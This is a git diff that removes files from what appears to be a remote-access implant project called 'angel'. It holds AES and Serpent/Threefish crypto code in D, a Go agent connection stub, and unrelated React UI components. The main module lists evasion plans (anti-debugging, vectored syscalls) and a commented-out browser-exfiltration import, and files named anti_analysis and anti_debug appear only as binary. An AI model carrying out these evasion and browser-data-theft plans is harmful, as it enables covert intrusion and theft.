r3 = T0[C3&255] ^ rotateRight(T0[(C0>>8)&255], 24) ^ rotateRight(T0[(C1>>16)&255], 16) ^ rotateRight(T0[(C2>>24)&255], 8) ^ wk[r++][3];
|
||||
|
||||
// the final round's table is a simple function of S so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (S[r0&255]) ^ ((S[(r1>>8)&255])<<8) ^ ((S[(r2>>16)&255])<<16) ^ (S[(r3>>24)&255]<<24) ^ wk[r][0];
|
||||
C1 = (S[r1&255]) ^ ((S[(r2>>8)&255])<<8) ^ ((S[(r3>>16)&255])<<16) ^ (S[(r0>>24)&255]<<24) ^ wk[r][1];
|
||||
C2 = (S[r2&255]) ^ ((S[(r3>>8)&255])<<8) ^ ((S[(r0>>16)&255])<<16) ^ (S[(r1>>24)&255]<<24) ^ wk[r][2];
|
||||
C3 = (S[r3&255]) ^ ((S[(r0>>8)&255])<<8) ^ ((S[(r1>>16)&255])<<16) ^ (S[(r2>>24)&255]<<24) ^ wk[r][3];
|
||||
|
||||
}
|
||||
|
||||
@safe @nogc
|
||||
private void decryptBlock() nothrow
|
||||
{
|
||||
alias workingKey wk;
|
||||
|
||||
uint r, r0, r1, r2, r3;
|
||||
|
||||
C0 ^= wk[ROUNDS][0];
|
||||
C1 ^= wk[ROUNDS][1];
|
||||
C2 ^= wk[ROUNDS][2];
|
||||
C3 ^= wk[ROUNDS][3];
|
||||
|
||||
r = ROUNDS-1;
|
||||
|
||||
while (r>1)
|
||||
{
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r--][3];
|
||||
C0 = Tinv0[r0&255] ^ rotateRight(Tinv0[(r3>>8)&255], 24) ^ rotateRight(Tinv0[(r2>>16)&255], 16) ^ rotateRight(Tinv0[(r1>>24)&255], 8) ^ wk[r][0];
|
||||
C1 = Tinv0[r1&255] ^ rotateRight(Tinv0[(r0>>8)&255], 24) ^ rotateRight(Tinv0[(r3>>16)&255], 16) ^ rotateRight(Tinv0[(r2>>24)&255], 8) ^ wk[r][1];
|
||||
C2 = Tinv0[r2&255] ^ rotateRight(Tinv0[(r1>>8)&255], 24) ^ rotateRight(Tinv0[(r0>>16)&255], 16) ^ rotateRight(Tinv0[(r3>>24)&255], 8) ^ wk[r][2];
|
||||
C3 = Tinv0[r3&255] ^ rotateRight(Tinv0[(r2>>8)&255], 24) ^ rotateRight(Tinv0[(r1>>16)&255], 16) ^ rotateRight(Tinv0[(r0>>24)&255], 8) ^ wk[r--][3];
|
||||
}
|
||||
|
||||
r0 = Tinv0[C0&255] ^ rotateRight(Tinv0[(C3>>8)&255], 24) ^ rotateRight(Tinv0[(C2>>16)&255], 16) ^ rotateRight(Tinv0[(C1>>24)&255], 8) ^ wk[r][0];
|
||||
r1 = Tinv0[C1&255] ^ rotateRight(Tinv0[(C0>>8)&255], 24) ^ rotateRight(Tinv0[(C3>>16)&255], 16) ^ rotateRight(Tinv0[(C2>>24)&255], 8) ^ wk[r][1];
|
||||
r2 = Tinv0[C2&255] ^ rotateRight(Tinv0[(C1>>8)&255], 24) ^ rotateRight(Tinv0[(C0>>16)&255], 16) ^ rotateRight(Tinv0[(C3>>24)&255], 8) ^ wk[r][2];
|
||||
r3 = Tinv0[C3&255] ^ rotateRight(Tinv0[(C2>>8)&255], 24) ^ rotateRight(Tinv0[(C1>>16)&255], 16) ^ rotateRight(Tinv0[(C0>>24)&255], 8) ^ wk[r][3];
|
||||
|
||||
// the final round's table is a simple function of Si so we don't use a whole other four tables for it
|
||||
|
||||
C0 = (Si[r0&255]) ^ ((Si[(r3>>8)&255])<<8) ^ ((Si[(r2>>16)&255])<<16) ^ (Si[(r1>>24)&255]<<24) ^ wk[0][0];
|
||||
C1 = (Si[r1&255]) ^ ((Si[(r0>>8)&255])<<8) ^ ((Si[(r3>>16)&255])<<16) ^ (Si[(r2>>24)&255]<<24) ^ wk[0][1];
|
||||
C2 = (Si[r2&255]) ^ ((Si[(r1>>8)&255])<<8) ^ ((Si[(r0>>16)&255])<<16) ^ (Si[(r3>>24)&255]<<24) ^ wk[0][2];
|
||||
C3 = (Si[r3&255]) ^ ((Si[(r2>>8)&255])<<8) ^ ((Si[(r1>>16)&255])<<16) ^ (Si[(r0>>24)&255]<<24) ^ wk[0][3];
|
||||
}
|
||||
}
|
||||
Binary file not shown.
18
agent.go
18
agent.go
@@ -1,18 +0,0 @@
|
||||
package conn
|
||||
|
||||
import (
|
||||
"angel_server/consts"
|
||||
"angel_server/cryptmeow"
|
||||
"log/slog"
|
||||
"net"
|
||||
)
|
||||
|
||||
func agent_impl(conn net.Conn, layer_id int) {
|
||||
var publicKey, _ [32]byte = cryptmeow.Gen_keypair()
|
||||
|
||||
_, err := conn.Write(publicKey[:])
|
||||
if err != nil {
|
||||
consts.Logger.Error("failed to send public key", slog.String("error", err.Error()))
|
||||
return
|
||||
}
|
||||
}
|
||||
59
alert.tsx
59
alert.tsx
@@ -1,59 +0,0 @@
|
||||
import * as React from "react"
|
||||
import { cva, type VariantProps } from "class-variance-authority"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const alertVariants = cva(
|
||||
"relative w-full rounded-lg border px-4 py-3 text-sm [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7",
|
||||
{
|
||||
variants: {
|
||||
variant: {
|
||||
default: "bg-background text-foreground",
|
||||
destructive:
|
||||
"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",
|
||||
},
|
||||
},
|
||||
defaultVariants: {
|
||||
variant: "default",
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
const Alert = React.forwardRef<
|
||||
HTMLDivElement,
|
||||
React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>
|
||||
>(({ className, variant, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
role="alert"
|
||||
className={cn(alertVariants({ variant }), className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Alert.displayName = "Alert"
|
||||
|
||||
const AlertTitle = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLHeadingElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<h5
|
||||
ref={ref}
|
||||
className={cn("mb-1 font-medium leading-none tracking-tight", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AlertTitle.displayName = "AlertTitle"
|
||||
|
||||
const AlertDescription = React.forwardRef<
|
||||
HTMLParagraphElement,
|
||||
React.HTMLAttributes<HTMLParagraphElement>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<div
|
||||
ref={ref}
|
||||
className={cn("text-sm [&_p]:leading-relaxed", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AlertDescription.displayName = "AlertDescription"
|
||||
|
||||
export { Alert, AlertTitle, AlertDescription }
|
||||
76
angel.d
76
angel.d
@@ -1,76 +0,0 @@
|
||||
module angel.main;
|
||||
|
||||
// TODO optimize imports (only neccessary)
|
||||
// TODO mutex check + execution timer
|
||||
// TODO anti dbg
|
||||
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
||||
// TODO veh/vectored syscalls in suspended thread
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.constants;
|
||||
import angel.utils.clean;
|
||||
import angel.conn : Listener;
|
||||
|
||||
//import angel.exfil.browser.browser;
|
||||
import angel.utils.init;
|
||||
|
||||
//import angel.utils.cryptography.threefish;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.serpent;
|
||||
import angel.utils.cryptography.cryptography;
|
||||
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
|
||||
|
||||
//import angel.utils.cryptography.gcm.gcm;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.threefish;
|
||||
|
||||
import angel.config : config;
|
||||
|
||||
//import angel.conn.vnc.vnc;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.conv : to;
|
||||
import core.thread.osthread;
|
||||
import std.format;
|
||||
|
||||
int main()
|
||||
{
|
||||
init();
|
||||
|
||||
// ! Serpent implementation
|
||||
|
||||
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
|
||||
|
||||
auto serp = new Serpi(keypair);
|
||||
|
||||
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
||||
|
||||
Logger.log(LogLevel.Debug, lol.to!string);
|
||||
|
||||
auto lol2 = serp.decrypt(lol);
|
||||
|
||||
Logger.log(LogLevel.Debug, lol2.to!string);
|
||||
|
||||
|
||||
// ! ThreeFish512 implementation
|
||||
auto kiii = Threefish512.generateKey();
|
||||
auto tweaki = Threefish512.generateTweak();
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
||||
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
||||
|
||||
auto fish = new Freefishy(kiii, tweaki);
|
||||
|
||||
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
||||
|
||||
Logger.log(LogLevel.Debug, lol3.to!string);
|
||||
|
||||
auto lol4 = fish.decrypt(lol3);
|
||||
|
||||
Logger.log(LogLevel.Debug, lol4.to!string);
|
||||
|
||||
new Listener();
|
||||
|
||||
return 0;
|
||||
}
|
||||
BIN
anti_analysis.d
BIN
anti_analysis.d
Binary file not shown.
BIN
anti_debug.d
BIN
anti_debug.d
Binary file not shown.
@@ -1,15 +0,0 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to check the commit log message taken by
|
||||
# applypatch from an e-mail message.
|
||||
#
|
||||
# The hook should exit with non-zero status after issuing an
|
||||
# appropriate message if it wants to stop the commit. The hook is
|
||||
# allowed to edit the commit message file.
|
||||
#
|
||||
# To enable this hook, rename this file to "applypatch-msg".
|
||||
|
||||
. git-sh-setup
|
||||
commitmsg="$(git rev-parse --git-path hooks/commit-msg)"
|
||||
test -x "$commitmsg" && exec "$commitmsg" ${1+"$@"}
|
||||
:
|
||||
48
avatar.tsx
48
avatar.tsx
@@ -1,48 +0,0 @@
|
||||
import * as React from "react"
|
||||
import * as AvatarPrimitive from "@radix-ui/react-avatar"
|
||||
|
||||
import { cn } from "@/lib/utils"
|
||||
|
||||
const Avatar = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Root>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Root>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Root
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"relative flex h-10 w-10 shrink-0 overflow-hidden rounded-full",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
Avatar.displayName = AvatarPrimitive.Root.displayName
|
||||
|
||||
const AvatarImage = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Image>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Image>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Image
|
||||
ref={ref}
|
||||
className={cn("aspect-square h-full w-full", className)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AvatarImage.displayName = AvatarPrimitive.Image.displayName
|
||||
|
||||
const AvatarFallback = React.forwardRef<
|
||||
React.ElementRef<typeof AvatarPrimitive.Fallback>,
|
||||
React.ComponentPropsWithoutRef<typeof AvatarPrimitive.Fallback>
|
||||
>(({ className, ...props }, ref) => (
|
||||
<AvatarPrimitive.Fallback
|
||||
ref={ref}
|
||||
className={cn(
|
||||
"flex h-full w-full items-center justify-center rounded-full bg-muted",
|
||||
className
|
||||
)}
|
||||
{...props}
|
||||
/>
|
||||
))
|
||||
AvatarFallback.displayName = AvatarPrimitive.Fallback.displayName
|
||||
|
||||
export { Avatar, AvatarImage, AvatarFallback }
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
416
bitmanip.d
416
bitmanip.d
@@ -1,416 +0,0 @@
|
||||
module angel.utils.cryptography.bitmanip;
|
||||
|
||||
import std.traits;
|
||||
///
|
||||
/// This module contains several methods to convert integer types into byte arrays
|
||||
/// and vice versa.
|
||||
///
|
||||
///
|
||||
|
||||
alias rotateLeft rol;
|
||||
alias rotateRight ror;
|
||||
|
||||
/// rot shift to the left
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
|
||||
}
|
||||
|
||||
/// test rotateLeft
|
||||
unittest {
|
||||
ubyte b0 = 0b10000001;
|
||||
ubyte b1 = 0b00000011;
|
||||
ubyte b2 = 0b00000110;
|
||||
ubyte b7 = 0b11000000;
|
||||
|
||||
assert(rotateLeft(b0,0) == b0);
|
||||
assert(rotateLeft(b0,1) == b1);
|
||||
assert(rotateLeft(b0,2) == b2);
|
||||
assert(rotateLeft(b0,7) == b7);
|
||||
assert(rotateLeft(b0,8) == b0);
|
||||
}
|
||||
|
||||
/// rot shift to the right
|
||||
/// Params:
|
||||
/// x = integer to shift
|
||||
/// shiftAmount = number of bits to shift
|
||||
@safe
|
||||
@nogc
|
||||
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
|
||||
{
|
||||
enum nbits = T.sizeof*8;
|
||||
//shiftAmount %= nbits;
|
||||
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
|
||||
}
|
||||
|
||||
/// test rotateRight
|
||||
unittest {
|
||||
ubyte b0 = 0b00000101;
|
||||
ubyte b1 = 0b10000010;
|
||||
ubyte b2 = 0b01000001;
|
||||
ubyte b7 = 0b00001010;
|
||||
|
||||
assert(rotateRight(b0,0) == b0);
|
||||
assert(rotateRight(b0,1) == b1);
|
||||
assert(rotateRight(b0,2) == b2);
|
||||
assert(rotateRight(b0,7) == b7);
|
||||
assert(rotateRight(b0,8) == b0);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integral of type T
|
||||
Params: bs = the big endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n <<= 8;
|
||||
n |= bs[1];
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[2];
|
||||
n <<= 8;
|
||||
n |= bs[3];
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n <<= 8;
|
||||
n |= bs[4];
|
||||
n <<= 8;
|
||||
n |= bs[5];
|
||||
n <<= 8;
|
||||
n |= bs[6];
|
||||
n <<= 8;
|
||||
n |= bs[7];
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integral of type T
|
||||
Params: bs = the little endian bytes
|
||||
Returns: integral of type T
|
||||
*/
|
||||
@safe @nogc
|
||||
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// data is already in memory as we want
|
||||
return (cast(const T[])bs)[0];
|
||||
}else {
|
||||
Unqual!T n = 0;
|
||||
static if (T.sizeof >= short.sizeof) {
|
||||
n |= bs[0];
|
||||
n |= cast(T)bs[1] << 8;
|
||||
}
|
||||
static if (T.sizeof >= int.sizeof) {
|
||||
n |= cast(T)bs[2] << 16;
|
||||
n |= cast(T)bs[3] << 24;
|
||||
}
|
||||
static if (T.sizeof == long.sizeof) {
|
||||
n |= cast(T)bs[4] << 32;
|
||||
n |= cast(T)bs[5] << 40;
|
||||
n |= cast(T)bs[6] << 48;
|
||||
n |= cast(T)bs[7] << 56;
|
||||
}
|
||||
|
||||
return n;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts big endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the big endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// short cut on big endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for little endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
Converts little endian bytes to integrals of type T
|
||||
size of bs has to match the size in bytes of output
|
||||
Params:
|
||||
bs = the little endian bytes
|
||||
output = where the T's get written to
|
||||
*/
|
||||
@safe @nogc
|
||||
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
||||
in {
|
||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// short cut on little endian systems
|
||||
const T[] casted = cast(const T[]) bs;
|
||||
output[] = casted[];
|
||||
} else {
|
||||
// for big endian systems
|
||||
enum s = T.sizeof;
|
||||
foreach (i; 0 .. output.length)
|
||||
{
|
||||
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
uint off = 0;
|
||||
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 56);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 48);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 40);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 32);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 24);
|
||||
++off;
|
||||
output[off] = cast (ubyte) (n >>> 16);
|
||||
++off;
|
||||
}
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[off] = cast (ubyte) (n >>> 8);
|
||||
++off;
|
||||
}
|
||||
output[off] = cast (ubyte) (n);
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T into an array of bytes.
|
||||
Params:
|
||||
n = the number
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
Unqual!T n = val;
|
||||
output[0] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
static if(T.sizeof >= short.sizeof) {
|
||||
output[1] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof >= int.sizeof) {
|
||||
output[2] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[3] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
}
|
||||
static if(T.sizeof == long.sizeof) {
|
||||
output[4] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[5] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[6] = cast (ubyte) (n);
|
||||
n >>>= 8;
|
||||
output[7] = cast (ubyte) (n);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns = the numbers
|
||||
output = the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(BigEndian) {
|
||||
// shortcut on BigEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toBigEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
convert a integral type T[] into an array of bytes.
|
||||
Params:
|
||||
ns the numbers
|
||||
output the buffer to write the bytes to
|
||||
*/
|
||||
@safe @nogc
|
||||
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
||||
in {
|
||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
||||
}
|
||||
body {
|
||||
version(LittleEndian) {
|
||||
// shortcut on LittleEndian systems
|
||||
const ubyte[] casted = cast(const ubyte []) ns;
|
||||
output[] = casted[];
|
||||
}else{
|
||||
foreach(i, const T n; ns) {
|
||||
toLittleEndian!T(n, output[T.sizeof * i .. $]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toBigEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toBigEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
|
||||
if(isIntegral!T)
|
||||
{
|
||||
ubyte[T.sizeof] bs;
|
||||
toLittleEndian!T(n, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
|
||||
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
|
||||
{
|
||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
||||
toLittleEndian!T(ns, bs);
|
||||
return bs;
|
||||
}
|
||||
|
||||
unittest {
|
||||
|
||||
// int
|
||||
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
|
||||
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
|
||||
|
||||
|
||||
// long
|
||||
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
|
||||
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
|
||||
|
||||
// bigEndian to short, int, long
|
||||
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
|
||||
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
|
||||
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
|
||||
|
||||
// littleEndian to short, int, long
|
||||
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
|
||||
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
|
||||
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
|
||||
|
||||
// bigEndian: convert multiple ints
|
||||
uint[] output = new uint[2];
|
||||
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
|
||||
fromBigEndian(input, output);
|
||||
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
// littleEndian: convert multiple ints
|
||||
output = new uint[2];
|
||||
fromLittleEndian(input, output);
|
||||
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
|
||||
|
||||
|
||||
immutable int i = 0xf1f2f3f4;
|
||||
int iResult;
|
||||
ubyte[] buf;
|
||||
|
||||
// int to bigEndian
|
||||
buf = new ubyte[4];
|
||||
toBigEndian!int(i, buf);
|
||||
iResult = fromBigEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[4];
|
||||
toLittleEndian!int(i, buf);
|
||||
iResult = fromLittleEndian!int(buf);
|
||||
assert(i == iResult);
|
||||
|
||||
|
||||
|
||||
immutable long l = 0xf1f2f3f4f5f6f7f8;
|
||||
long lResult;
|
||||
|
||||
// long to bigEndian
|
||||
buf = new ubyte[8];
|
||||
toBigEndian!long(l, buf);
|
||||
lResult = fromBigEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
|
||||
// int to littleEndian
|
||||
buf = new ubyte[8];
|
||||
toLittleEndian!long(l, buf);
|
||||
lResult = fromLittleEndian!long(buf);
|
||||
assert(l == lResult);
|
||||
}
|
||||
191
blockcipher.d
191
blockcipher.d
@@ -1,191 +0,0 @@
|
||||
module angel.utils.cryptography.blockcipher;
|
||||
|
||||
/// Use this to check if type is a block cipher.
|
||||
@safe
|
||||
template isBlockCipher(T)
|
||||
{
|
||||
enum bool isBlockCipher =
|
||||
is(T == struct) &&
|
||||
is(typeof(
|
||||
{
|
||||
ubyte[0] block;
|
||||
T bc = T.init; // Can define
|
||||
string name = T.name;
|
||||
uint blockSize = T.blockSize;
|
||||
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
|
||||
uint len = bc.encrypt(cast (const ubyte[]) block, block);
|
||||
bc.reset();
|
||||
}));
|
||||
}
|
||||
|
||||
/// OOP API for block ciphers
|
||||
@safe
|
||||
public interface IBlockCipher {
|
||||
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* userKey = A secret key.
|
||||
* iv = A nonce.
|
||||
*/
|
||||
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow;
|
||||
|
||||
/**
|
||||
* Return the block size for this cipher (in bytes).
|
||||
*
|
||||
* Returns: the block size for this cipher in bytes.
|
||||
*/
|
||||
@property
|
||||
uint blockSize() pure nothrow @nogc;
|
||||
|
||||
/**
|
||||
* Process one block of input from the array in and write it to
|
||||
* the out array.
|
||||
*
|
||||
* Params:
|
||||
* input = the slice containing the input data.
|
||||
* output = the slice the output data will be copied into.
|
||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
||||
* Returns: the number of bytes processed and produced.
|
||||
*/
|
||||
@nogc
|
||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
@nogc
|
||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
|
||||
|
||||
/**
|
||||
* Reset the cipher. After resetting the cipher is in the same state
|
||||
* as it was after the last init (if there was one).
|
||||
*/
|
||||
@nogc
|
||||
void reset() nothrow;
|
||||
}
|
||||
|
||||
/// Wraps block ciphers into the OOP API
|
||||
@safe
|
||||
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
|
||||
|
||||
private T cipher;
|
||||
|
||||
@safe public:
|
||||
|
||||
/**
|
||||
* Initialize the cipher.
|
||||
*
|
||||
* Params:
|
||||
* forEncryption = if true the cipher is initialised for
|
||||
* encryption, if false for decryption.
|
||||
* params = the key and other data required by the cipher.
|
||||
*
|
||||
* Throws: IllegalArgumentException if the params argument is
|
||||
* inappropriate.
|
||||
*/
|
||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
|
||||
cipher.start(key, iv);
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the name of the algorithm the cipher implements.
|
||||
*
|
||||
* Returns: the name of the algorithm the cipher implements.
|
||||
*/
|
||||
@property
|
||||
string name() pure nothrow {
